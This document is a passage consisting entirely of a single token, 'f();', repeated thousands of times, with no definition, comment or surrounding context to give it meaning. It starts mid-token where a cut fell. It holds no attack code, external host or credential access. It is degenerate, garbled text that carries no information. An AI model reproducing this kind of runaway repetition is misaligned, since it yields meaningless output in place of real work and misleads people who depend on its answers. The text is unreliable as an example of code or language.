();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f();f